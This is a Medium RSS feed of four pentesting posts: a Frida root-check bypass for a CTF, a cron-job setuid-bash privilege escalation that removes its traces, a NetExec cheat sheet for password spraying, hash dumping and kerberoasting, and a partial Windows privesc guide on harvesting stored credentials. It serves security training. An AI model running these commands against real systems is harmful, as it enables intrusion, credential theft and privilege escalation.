<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0xModyWZ13 on Medium]]></title>
        <description><![CDATA[Stories by 0xModyWZ13 on Medium]]></description>
        <link>https://medium.com/@modywz13?source=rss-859b86f96377------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Vn-67QRCFC5_dtuGXrrTFA.jpeg</url>
            <title>Stories by 0xModyWZ13 on Medium</title>
            <link>https://medium.com/@modywz13?source=rss-859b86f96377------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 06:05:26 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@modywz13/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Frida challenge Hooking Native Lib (Hero-ctf)]]></title>
            <link>https://modywz13.medium.com/frida-challenge-hooking-native-lib-hero-ctf-2f11af4b0f01?source=rss-859b86f96377------2</link>
            <guid isPermaLink="false">https://medium.com/p/2f11af4b0f01</guid>
            <dc:creator><![CDATA[0xModyWZ13]]></dc:creator>
            <pubDate>Sun, 21 Dec 2025 21:08:50 GMT</pubDate>
            <atom:updated>2025-12-21T21:08:50.904Z</atom:updated>
            <content:encoded><![CDATA[<p>My name is Mohammed, and I have 1 year of experience with certifications such as CRTO, CRTP, eWPT, eJPTv2, OSCP, CPTS, CBBH, and CNSP.</p><p>I have hands-on experience in network, Active Directory, Android, and web penetration testing. I have also practiced extensively on platforms such as HackTheBox, VulnHub, and TryHackMe.</p><h3><strong>What is the Frida tool?</strong></h3><p>Frida is a <strong>dynamic instrumentation toolkit</strong> that lets you <strong>inject custom scripts into running processes</strong> — like mobile apps (Android/iOS), desktop apps (Windows/macOS/Linux), or even browser processes — to <strong>monitor, modify, or bypass their behavior in real time</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*14MteJO7rsT3aeKNOSMH2g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sv3i5fhGbYDul4FpKzG6bw.png" /></figure><p>Check out the native lib (v3).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bGjN_0bPi7fKDN0WOvPMtw.png" /></figure><p>Using Ghidra for reverse engineering</p><p>It has 2 functions</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DTl-EkV1rkr6ib_UEdo7uA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EYWF5vtzmD84Npwf6MieLQ.png" /></figure><h3>What does get_flag do?</h3><ul><li>It tries to return the <strong>flag</strong>.</li><li>But before giving the flag, it checks if the device is <strong>rooted</strong>.</li><li>It uses a function called check_root(param_1).</li></ul><h3>Logic</h3><ol><li>It prepares the flag from memory.</li><li>If it’s the <strong>first time</strong>, it checks for root.</li><li>If the device is <strong>not rooted</strong>, it returns:</li></ol><ul><li>&quot;Root detected - flag unavailable&quot;</li></ul><ol><li>If the device <strong>is rooted</strong>:</li></ol><ul><li>It runs another function (FUN_00012630)</li><li>It allows access to the flag.</li></ul><ol><li>Finally, it returns either the <strong>real flag</strong> or an <strong>error message</strong>.</li></ol><h3>How to bypass it?</h3><ul><li>Use <strong>Frida</strong> to hook check_root and make it return 1 always.</li><li>This tricks the app into thinking the device is rooted.</li><li>Then get_flag will return the real flag.</li></ul><h3>Frida script</h3><pre>let timer = setInterval(function () {<br>    try {<br>        let m = Process.getModuleByName(&quot;libv3.so&quot;);<br>        if (m) {<br>            clearInterval(timer);<br>            console.log(&quot;[+] libv3.so loaded!&quot;);<br><br>            let checkRoot = m.getExportByName(&quot;check_root&quot;);<br>            Interceptor.attach(checkRoot, {<br>                onLeave: function (retval) {<br>                    retval.replace(1);<br>                    console.log(&quot;[*] check_root forced to return 1&quot;);<br>                }<br>            });<br><br>            let getFlag = m.getExportByName(&quot;get_flag&quot;);<br>            Interceptor.attach(getFlag, {<br>                onLeave: function (retval) {<br>                    if (!retval.isNull()) {<br>                        try {<br>                            let flag = retval.readUtf8String();<br>                            console.log(&quot;\n🎯 FLAG FOUND =&gt; &quot; + flag + &quot;\n&quot;);<br>                        } catch (e) {<br>                            console.log(&quot;[!] Failed to read string: &quot; + e.message);<br>                        }<br>                    } else {<br>                        console.log(&quot;[!] get_flag returned NULL&quot;);<br>                    }<br>                }<br>            });<br><br>            console.log(&quot;[*] Hooks set successfully.&quot;);<br>        }<br>    } catch (err) {<br>        // Wait until module is ready<br>    }<br>}, 100);</pre><p>First, I used an interceptor for check_root by hooking its address and forcing it always to return 1. After that, I made it fetch the flag. I used the setInterval function to repeatedly run the code every 100 milliseconds as long as the library wasn&#39;t yet loaded into the application.</p><pre>frida -U -p &lt;PID&gt; -l hook.js</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fAmyTQPFEPliv1hifIDwhg.png" /></figure><p>Note: 21 is a random value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*agGJbFjgWFNp0NT9DkH7ag.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2f11af4b0f01" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyCTF (Audit Escape) Challenge]]></title>
            <link>https://modywz13.medium.com/cyctf-audit-escape-challenge-1007e1ba3be3?source=rss-859b86f96377------2</link>
            <guid isPermaLink="false">https://medium.com/p/1007e1ba3be3</guid>
            <dc:creator><![CDATA[0xModyWZ13]]></dc:creator>
            <pubDate>Sat, 08 Nov 2025 14:31:59 GMT</pubDate>
            <atom:updated>2025-11-08T14:43:03.410Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GXnBcPE9pBqhjpjiSm7nTA.jpeg" /></figure><p><strong>Quick summary:</strong></p><p>Linux PrivEsc via cron job: A <strong>cron job</strong> is a <strong>scheduled task</strong> on Unix-like systems, including Linux. The <strong>cron </strong>daemon is a built-in Linux utility that runs processes on your system at scheduled times or intervals. A cron job is a command or script that is set to run automatically at a specific time, date, or interval using the <strong>cron </strong>daemon.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bqr5I3DZ7Uu-G_tOo52wLg.png" /></figure><p><strong>Content reportctl file</strong></p><pre>bash-5.1$ cat /usr/local/bin/reportctl<br>#!/bin/bash<br>set -euo pipefail<br>IFS=$&#39;\n\t&#39;<br>PATH=/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/bin<br><br>[[ &quot;${1-}&quot; == &quot;--daily&quot; ]] || exit 2<br><br>CFG=/etc/default/compliance<br>if [[ -f &quot;$CFG&quot; ]]; then<br>  v=$(grep -E &#39;^COMPLIANCE_MODE=&#39; &quot;$CFG&quot; | head -n1 | cut -d= -f2-)<br>  [[ -n &quot;${v:-}&quot; ]] &amp;&amp; COMPLIANCE_MODE=&quot;$v&quot;<br>fi<br>COMPLIANCE_MODE=&quot;${COMPLIANCE_MODE:-secure}&quot;<br><br>BASE=/etc/compliance<br>MODULE=&quot;$BASE/${COMPLIANCE_MODE}/module.sh&quot;<br><br>mkdir -p &quot;$BASE/secure&quot; &quot;$BASE/dev&quot; &quot;$BASE/audit&quot;<br>if [[ ! -f &quot;$BASE/secure/module.sh&quot; ]]; then<br>  cat &gt;&quot;$BASE/secure/module.sh&quot; &lt;&lt;&#39;EOF&#39;<br>check_disk(){ df -h | awk &#39;NR==1||/\/$/ {print &quot;[+] Root partition: &quot;$5}&#39;; }<br>check_users(){ awk -F: &#39;$3&gt;=1000 {print &quot;[+] User: &quot;$1}&#39; /etc/passwd; }<br>check_uptime(){ echo &quot;[+] Uptime: $(cut -d. -f1 /proc/uptime) seconds&quot;; }<br>EOF<br>fi<br>if [[ ! -f &quot;$BASE/dev/module.sh&quot; ]]; then<br>  cat &gt;&quot;$BASE/dev/module.sh&quot; &lt;&lt;&#39;EOF&#39;<br>check_date(){ echo &quot;[+] Date: $(date +%F)&quot;; }<br>check_hostname(){ echo &quot;[+] Hostname: $(hostname)&quot;; }<br>check_tmp(){ echo &quot;[+] Files in /tmp: $(ls /tmp | wc -l)&quot;; }<br>EOF<br>fi<br>if [[ ! -f &quot;$BASE/audit/module.sh&quot; ]]; then<br>  cat &gt;&quot;$BASE/audit/module.sh&quot; &lt;&lt;&#39;EOF&#39;<br>check_id(){ id | sed &#39;s/^/[+] /&#39;; }<br>check_load(){ awk &#39;{print &quot;[+] Load average: &quot;$1&quot;,&quot;$2&quot;,&quot;$3}&#39; /proc/loadavg; }<br>check_memory(){ grep MemTotal /proc/meminfo | awk &#39;{print &quot;[+] Total memory: &quot;$2&quot; &quot;$3}&#39;; }<br>EOF<br>fi<br><br>check_placeholder(){ echo &quot;[+] Placeholder check&quot;; }<br>check_dummy(){ echo &quot;[+] Dummy compliance check&quot;; }<br>check_time(){ echo &quot;[+] Time: $(date +%T)&quot;; }<br>check_cpu(){ grep -m1 &quot;model name&quot; /proc/cpuinfo | sed &#39;s/^/ [+] CPU: /&#39;; }<br>check_path(){ echo &quot;[+] PATH is $PATH&quot;; }<br>check_files(){ echo &quot;[+] Files in /etc: $(ls /etc | wc -l)&quot;; }<br>check_shells(){ awk -F: &#39;{print &quot;[+] Shell for &quot;$1&quot;: &quot;$7}&#39; /etc/passwd | head -n 3; }<br>check_random(){ echo &quot;[+] Random: $(head -c4 /dev/urandom | base64)&quot;; }<br><br>if [[ -f &quot;$MODULE&quot; ]]; then<br>  source &quot;$MODULE&quot;<br>fi<br><br>profile_checks() {<br>  case &quot;$COMPLIANCE_MODE&quot; in<br>    secure) echo &quot;check_cpu check_disk check_users check_uptime check_files check_shells check_time&quot;;;<br>    dev)    echo &quot;check_cpu check_date check_hostname check_tmp check_time check_random&quot;;;<br>    audit)  echo &quot;check_cpu check_id check_load check_memory check_time check_path&quot;;;<br>    *)      echo &quot;check_placeholder check_dummy&quot;;;<br>  esac<br>}<br><br>run_checks() {<br>  local want=($(profile_checks))<br>  local have=($(declare -F | awk &#39;{print $3}&#39;))<br>  for fn in &quot;${want[@]}&quot;; do<br>    for hf in &quot;${have[@]}&quot;; do<br>      [[ &quot;$hf&quot; == &quot;$fn&quot; ]] &amp;&amp; &quot;$fn&quot;<br>    done<br>  done<br>  for hf in &quot;${have[@]}&quot;; do<br>    [[ &quot;$hf&quot; == check_* ]] || continue<br>    local seen=0<br>    for fn in &quot;${want[@]}&quot;; do<br>      [[ &quot;$hf&quot; == &quot;$fn&quot; ]] &amp;&amp; seen=1<br>    done<br>    [[ $seen -eq 0 ]] &amp;&amp; &quot;$hf&quot;<br>  done<br>}<br><br>echo &quot;=== Compliance Report ===&quot;<br>run_checks<br>echo &quot;=== End Report ===&quot;<br>exit 0<br>bash-5.1$ </pre><p><strong>I found in the file</strong></p><pre>CFG=/etc/default/compliance<br>...<br>v=$(grep -E &#39;^COMPLIANCE_MODE=&#39; &quot;$CFG&quot; | head -n1 | cut -d= -f2-)<br>[[ -n &quot;${v:-}&quot; ]] &amp;&amp; COMPLIANCE_MODE=&quot;$v&quot;<br>COMPLIANCE_MODE=&quot;${COMPLIANCE_MODE:-secure}&quot;<br><br>-----------<br>if [[ ! -f &quot;$BASE/audit/module.sh&quot; ]]; then<br>  cat &gt;&quot;$BASE/audit/module.sh&quot; &lt;&lt;&#39;EOF&#39;<br>check_id(){ id | sed &#39;s/^/[+] /&#39;; }<br>check_load(){ awk &#39;{print &quot;[+] Load average: &quot;$1&quot;,&quot;$2&quot;,&quot;$3}&#39; /proc/loadavg; }<br>check_memory(){ grep MemTotal /proc/meminfo | awk &#39;{print &quot;[+] Total memory: &quot;$2&quot; &quot;$3}&#39;; }<br>EOF<br>fi</pre><p>We can exploit this script to execute a command or file with root privileges in case the file doesn’t exist (module.sh) by changing the path file and the same name</p><p><strong>Note:</strong> SUID files are executable files with a special permission called ‘Set User ID (SUID)’. When executed, these files run with the privileges of the file owner instead of the user who runs the file. So, if the file is owned by root, it will execute with <strong>root </strong>privileges.</p><pre>echo &#39;COMPLIANCE_MODE=../../tmp&#39; &gt; /etc/default/compliance<br>cat &gt; /tmp/module.sh &lt;&lt;&#39;EOF&#39;<br>#!/bin/bash<br># payload: give /bin/bash the setuid bit<br>chmod +s /bin/bash<br># optional: remove the module after execution to hide traces<br>rm -f /tmp/module.sh<br>EOF<br>chmod +x /tmp/module.sh<br>ls -l /bin/bash<br># wait a minute<br>/bin/bash -p  <br></pre><p><strong>Check out the root</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tuSAK3aScVJmzg9WCG8UjA.png" /></figure><p><strong>read the flag</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EkrzEuIyIy35fWOl0cHKRA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1007e1ba3be3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[NetExec Tool]]></title>
            <link>https://modywz13.medium.com/netexec-tool-19cdaa54b333?source=rss-859b86f96377------2</link>
            <guid isPermaLink="false">https://medium.com/p/19cdaa54b333</guid>
            <dc:creator><![CDATA[0xModyWZ13]]></dc:creator>
            <pubDate>Sun, 02 Nov 2025 05:24:44 GMT</pubDate>
            <atom:updated>2025-11-02T05:24:44.159Z</atom:updated>
            <content:encoded><![CDATA[<p>What’s NetExec? It is a tool for Active Directory. You can use it to enumerate users, groups, SMB, LDAP, WinRM, and also you can abuse most attacks for Active Directory, like (kerberoasting, dcsync, ADCS, AS-REP Roasting, password spraying, and Delegation)</p><ul><li><strong>Enumerate all users</strong></li></ul><pre>└─# nxc ldap 10.10.11.72 -u henry -p &#39;H3nry_987TGV!&#39; --query &#39;(objectClass=person)&#39; &#39;sAMAccountName description info&#39;<br>LDAP        10.10.11.72     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)<br>LDAP        10.10.11.72     389    DC01             [+] tombwatcher.htb\henry:H3nry_987TGV! <br>LDAP        10.10.11.72     389    DC01             [+] Response for object: CN=Administrator,CN=Users,DC=tombwatcher,DC=htb<br>LDAP        10.10.11.72     389    DC01             description          Built-in account for administering the computer/domain                                                                                                                             <br>LDAP        10.10.11.72     389    DC01             sAMAccountName       Administrator<br>LDAP        10.10.11.72     389    DC01             [+] Response for object: CN=Guest,CN=Users,DC=tombwatcher,DC=htb<br>LDAP        10.10.11.72     389    DC01             description          Built-in account for guest access to the computer/domain                                                                                                                           <br>LDAP        10.10.11.72     389    DC01             sAMAccountName       Guest<br>LDAP        10.10.11.72     389    DC01             [+] Response for object: CN=DC01,OU=Domain Controllers,DC=tombwatcher,DC=htb<br>LDAP        10.10.11.72     389    DC01             sAMAccountName       DC01$<br>LDAP        10.10.11.72     389    DC01             [+] Response for object: CN=krbtgt,CN=Users,DC=tombwatcher,DC=htb<br>LDAP        10.10.11.72     389    DC01             description          Key Distribution Center Service Account<br>LDAP        10.10.11.72     389    DC01             sAMAccountName       krbtgt<br>LDAP        10.10.11.72     389    DC01             [+] Response for object: CN=Henry,CN=Users,DC=tombwatcher,DC=htb<br>LDAP        10.10.11.72     389    DC01             sAMAccountName       Henry<br>LDAP        10.10.11.72     389    DC01             [+] Response for object: CN=Alfred,CN=Users,DC=tombwatcher,DC=htb<br>LDAP        10.10.11.72     389    DC01             sAMAccountName       Alfred<br>LDAP        10.10.11.72     389    DC01             [+] Response for object: CN=sam,CN=Users,DC=tombwatcher,DC=htb<br>LDAP        10.10.11.72     389    DC01             sAMAccountName       sam<br>LDAP        10.10.11.72     389    DC01             [+] Response for object: CN=john,CN=Users,DC=tombwatcher,DC=htb<br>LDAP        10.10.11.72     389    DC01             sAMAccountName       john<br>LDAP        10.10.11.72     389    DC01             [+] Response for object: CN=ansible_dev,CN=Managed Service Accounts,DC=tombwatcher,DC=htb<br>LDAP        10.10.11.72     389    DC01             sAMAccountName       ansible_dev$</pre><p><strong>another way:</strong></p><pre>nxc ldap 192.168.1.48 -u raj -p Password@1 –users</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3_oOtulqPhpcAyBdbjb9vw.png" /></figure><ul><li><strong>Enumerate all groups</strong></li></ul><pre>nxc ldap 192.168.200.129 -u &#39;&#39; -p &#39;&#39; --groups</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yma4EV3bZFOKIs57hyz4ag.png" /></figure><ul><li><strong>Enumerate a specific group</strong></li></ul><pre>nxc ldap &lt;ip&gt; -u &lt;username&gt; -p &lt;password&gt; --groups &quot;Domain Admins&quot;</pre><ul><li><strong>Enumerating members of “Domain Users”</strong></li></ul><pre>nxc ldap 192.168.1.48 -u raj -p Password@1 -M group-mem -o GROUP=&quot;Domain users&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d5lusO69CbZPdh4BtG0Bvg.png" /></figure><ul><li><strong>Enumerate password policy</strong></li></ul><pre>nxc ldap 192.168.200.129 -u &#39;&#39; -p &#39;&#39; --pass-pol</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*78ZmyXst7XvwCqztgcWBYQ.png" /></figure><ul><li><strong>Powershell history</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eALLeGRyf8ubZ6T0sdP3bQ.png" /></figure><ul><li><strong>Enumerate shared files smb</strong></li></ul><pre>nxc smb 192.168.200.0/24 -u &#39;kai.bel&#39; -p &#39;password1&#39; --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X_2ybDdHamFlZdEkPj_fQQ.png" /></figure><ul><li><strong>Enumerate shared files smb via Kerberos</strong></li></ul><pre>nxc smb dc.voleur.htb -u ryan.naylor -p &#39;HollowOct31Nyt&#39; -k --shares --smb-timeout 500</pre><ul><li>Enumerate AV &amp; EDR</li></ul><pre>nxc smb 192.168.200.0/24 -u kai.bel -p &#39;password1&#39; -M enum_av </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LYDGm6iMWLQONjBkxYM9tw.png" /></figure><ul><li><strong>Testing Credentials</strong></li></ul><p><strong>Using username and password</strong>:</p><pre>nxc ldap 192.168.1.48 -u raj -p Password@1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*00iusOKXCXbJokKSyYwVwg.png" /></figure><p><strong>Using NTLM hash</strong>:</p><pre>nxc ldap 192.168.1.48 -u raj -H 64FBAE31CC352FC26AF97CBDEF151E03</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ybekxgaMxCo-yvebY5_WUg.png" /></figure><ul><li><strong>Password Spraying</strong></li></ul><pre>- nxc smb 10.129.42.197 -u user.list -p Passw0rd123 --continue-on-success     ===&gt; to password Spraying <br>- nxc ldap 10.129.42.197 -u user.list -p Passw0rd123 --continue-on-success    ===&gt; to password Spraying <br>- nxc winrm 10.129.42.197 -u user.list -p Passw0rd123 --continue-on-success   ===&gt; to password Spraying <br>- nxc smb 10.129.42.197 -u user.list -p Passw0rd123 --continue-on-success -k  ===&gt; to password Spraying via kerberos </pre><ul><li><strong>Enumerate the SID for the domain</strong></li></ul><pre>nxc ldap 192.168.200.129 -u &#39;kai.bel&#39; -p password1 -k --get-sid</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WmVpsu0FqaH_Z7UPNWroSQ.png" /></figure><ul><li><strong>AS-REP Roasting</strong></li></ul><pre>nxc ldap 192.168.1.48 -u yashika -p &#39;&#39; --asreproast output.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*al14mxBuQ6pKlMTn1VVt6g.png" /></figure><ul><li><strong>Kerberoasting</strong></li></ul><pre>nxc ldap 192.168.1.48 -u raj -p Password@1 --kerberoasting hash.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*561WxKyxBPirg4rQ36qmag.png" /></figure><ul><li><strong>BloodHound with NetExec</strong></li></ul><pre>nxc ldap 192.168.1.48 -u raj -p Password@1 --bloodhound --collection All --dns-server 192.168.1.48</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gz2oVh3_TDBlttzY6IuJQA.png" /></figure><ul><li><strong>Dump all hashes</strong></li></ul><pre>nxc smb 192.168.200.5 -u kai.bel -p &#39;password1&#39; --sam</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eby3kszlm0Wen2iRrtnhHA.png" /></figure><pre>nxc smb 192.168.200.5 -u kai.bel -p &#39;password1&#39; --lsa</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jJwwTLTxRk4XEhmtKp-Vzw.png" /></figure><pre>nxc smb 192.168.200.0/24 -u hernan -p &#39;modywz13@&#39; --ntds<br>nxc smb 192.168.200.0/24 -u hernan -p &#39;modywz13@&#39; --ntds-dump-raw</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uah1GQYM2CRyi18ja03SKw.png" /></figure><ul><li><strong>find Delegation</strong></li></ul><pre>nxc ldap 192.168.200.129 -u kai.bel -p &#39;password1&#39; --find-delegation</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S1YZ8lc83ek8DT4TYTy4zA.png" /></figure><ul><li><strong>Command execution using nxc</strong></li></ul><pre>nxc smb 192.168.200.0/24 -u kai.bel -p &#39;password1&#39; -x whoami </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uU17EYgD-LYWztQwK2_jKg.png" /></figure><ul><li><strong>Active Directory Certificate Services (ADCS)</strong></li></ul><pre>- nxc ldap 192.168.56.12 -u khal.drogo -p horse -M certipy-find<br>- nxc ldap 192.168.1.48 -u raj -p Password@1 -M adcs</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H8JssxL24iQ3Fg3zaitVPw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XMK5DvCK6pJM56ZWhHQXJw.png" /></figure><ul><li><strong>Enumerates the descriptions associated with user accounts, which can sometimes contain valuable information such as roles, responsibilities, or even credentials</strong></li></ul><pre>nxc ldap 192.168.1.48 -u raj -p Password@1 -M get-desc-users</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0CI9oDVhZQJAE4-hhRAnkA.png" /></figure><ul><li><strong>LAPS Enumeration</strong></li></ul><pre>nxc ldap 192.168.1.48 -u raj -p Password@1 -M laps</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EWKENFh_a7iw72S5AhIC_g.png" /></figure><ul><li><strong>Network Enumeration</strong></li></ul><pre>nxc ldap &quot;192.168.1.48&quot; -u &quot;raj&quot; -p &quot;Password@1&quot; -M get-network</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2gujlgnxcAqe3nZC5WwrCA.png" /></figure><ul><li>DACL</li></ul><pre>nxc ldap 192.168.1.48 -u raj -p Password@1 --kdcHost ignite.local -M daclread -o TARGET=Administrator ACTION=read </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V3DE1Bs_Hx0aBdXUj8KJMg.png" /></figure><ul><li><strong>Get User Passwords</strong></li></ul><pre>nxc ldap 192.168.1.48 -u raj -p Password@1 -M get-userPassword</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ycMeBBPT-jbk6yg6f-ddcA.png" /></figure><ul><li><strong>Get Unix User Password</strong></li></ul><pre>nxc ldap 192.168.1.48 -u raj -p Password@1 -M get-unixUserPassword</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RF247N0v6aOcxOxpOgXgEw.png" /></figure><ul><li><strong>Trusts Enumeration</strong></li></ul><pre>nxc ldap 192.168.1.48 -u raj -p Password@1 -M enum_trusts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1NBwPm2wHocIaFEDB3_Saw.png" /></figure><ul><li>Enable RDP</li></ul><pre>nxc smb 10.211.55.3 -u rdp-test -p &#39;Password123&#39; -M rdp -o ACTION=enable</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*OeWZdT4b4bmo_Lc0RzZBTw.png" /></figure><ul><li>Login With RDP (3 Ways)</li></ul><pre>xfreerdp /u:user /p:pass /v:ip    <br>xfreerdp /u:user /p:pass /v:ip +clipboard<br>rdesktop -u admin -p password123 192.168.2.143 </pre><p>Resources:</p><ul><li><a href="https://www.hackingarticles.in/active-directory-pentesting-using-netexec-tool-a-complete-guide/">Active Directory Pentesting Using Netexec Tool</a></li><li><a href="https://www.hackingarticles.in/mssql-for-pentester-netexec/">MSSQL for Pentester: NetExec</a></li><li><a href="https://www.stationx.net/netexec-cheat-sheet/">NetExec Cheat Sheet: Essential Commands (2025 Guide)</a></li><li><a href="https://pentestlab.blog/2024/02/20/as-rep-roasting/">AS-REP Roasting</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=19cdaa54b333" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows PrivEsc (TryHackMe)]]></title>
            <link>https://modywz13.medium.com/windows-privesc-tryhackme-1795b94de5f5?source=rss-859b86f96377------2</link>
            <guid isPermaLink="false">https://medium.com/p/1795b94de5f5</guid>
            <dc:creator><![CDATA[0xModyWZ13]]></dc:creator>
            <pubDate>Fri, 26 Sep 2025 14:20:23 GMT</pubDate>
            <atom:updated>2025-09-26T14:37:10.024Z</atom:updated>
            <content:encoded><![CDATA[<p>Privilege escalation is when <strong>a user with limited access to IT systems can increase the scope and scale of their access permissions</strong>. For trusted users, privilege escalation allows expanded access for a limited time to complete specific tasks. For example, users may need access to troubleshoot a technical problem, run a quarterly financial report, or install a program.</p><p>Gaining access to different accounts can be as simple as finding credentials in text files or spreadsheets left unsecured by some careless user, but that won’t always be the case. Depending on the situation, we might need to abuse some of the following weaknesses:</p><ul><li><strong>Misconfigurations on Windows services or scheduled tasks</strong></li><li><strong>Excessive privileges assigned to our account</strong></li><li><strong>Vulnerable software</strong></li><li><strong>Missing Windows security patches</strong></li><li>Let’s connect to the VPN.</li></ul><pre>openvpn &lt;VPN-name&gt;</pre><ul><li>The Target is reachable.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*Hlu5rGxKVQ5GWDz-rScZug.png" /></figure><ul><li>Let’s connect to the RDP</li><li>Creds==&gt; <strong>thm-unpriv:Password321</strong></li></ul><pre>xfreerdp3 /u:thm-unpriv /p:&#39;Password321&#39; /v:10.10.0.100 +clipboard</pre><p>Note: +clipboard option, you can copy anything on the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2npS1Di-3CWkEO9NPhXgxg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gyXE7w1_VCENVafdmtKtOQ.png" /></figure><h3>Windows Users</h3><p>Windows systems mainly have two kinds of users. Depending on their access levels, we can categorise a user in one of the following groups:</p><p><strong>Administrators: </strong>These users have the most privileges. They can change any system configuration parameter and access any file in the system.</p><p><strong>Standard Users: </strong>These users can access the computer but only perform limited tasks. Typically, these users can not make permanent or essential changes to the system and are limited to their files.</p><p>Any user with administrative privileges will be part of the <strong>Administrators</strong> group. On the other hand, standard users are part of the <strong>Users</strong> group.</p><p>In addition to that, you will usually hear about some special built-in accounts used by the operating system in the context of privilege escalation:</p><p><strong>SYSTEM / LocalSystem</strong><br>An account used by the operating system to perform internal tasks. It has full access to all files and resources available on the host with even higher privileges than administrators.<br><strong>Local Service</strong><br>Default account used to run Windows services with “minimum” privileges. It will use anonymous connections over the network.<br><strong>Network Service</strong><br>Default account used to run Windows services with “minimum” privileges. It will use the computer credentials to authenticate through the network.</p><ul><li>Harvesting Passwords from Usual Spots:</li></ul><pre>C:\Unattend.xml<br>C:\Windows\Panther\Unattend.xml<br>C:\Windows\Panther\Unattend\Unattend.xml<br>C:\Windows\system32\sysprep.inf<br>C:\Windows\system32\sysprep\sysprep.xml</pre><p>Look for any passwords in these files.</p><p>Example:</p><pre>&lt;Credentials&gt;<br>    &lt;Username&gt;Administrator&lt;/Username&gt;<br>    &lt;Domain&gt;thm.local&lt;/Domain&gt;<br>    &lt;Password&gt;MyPassword123&lt;/Password&gt;<br>&lt;/Credentials&gt;</pre><ul><li><strong>CMD History</strong></li></ul><pre>type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt</pre><p>Look for any passwords in history.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*2G-42T8G4_kfJRjvX-1Tzw.png" /></figure><p><strong>Note:</strong> The command above will only work from cmd.exe</p><ul><li><strong>Saved Windows Credentials</strong></li></ul><pre>- cmdkey /list<br>- runas /savecred /user:&lt;username-savecred&gt; cmd.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*8QkaUrSQR7cZgZt1-PuHCA.png" /></figure><ul><li><strong>IIS Configuration</strong></li></ul><pre># C:\inetpub\wwwroot\web.config<br># C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config<br># type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr 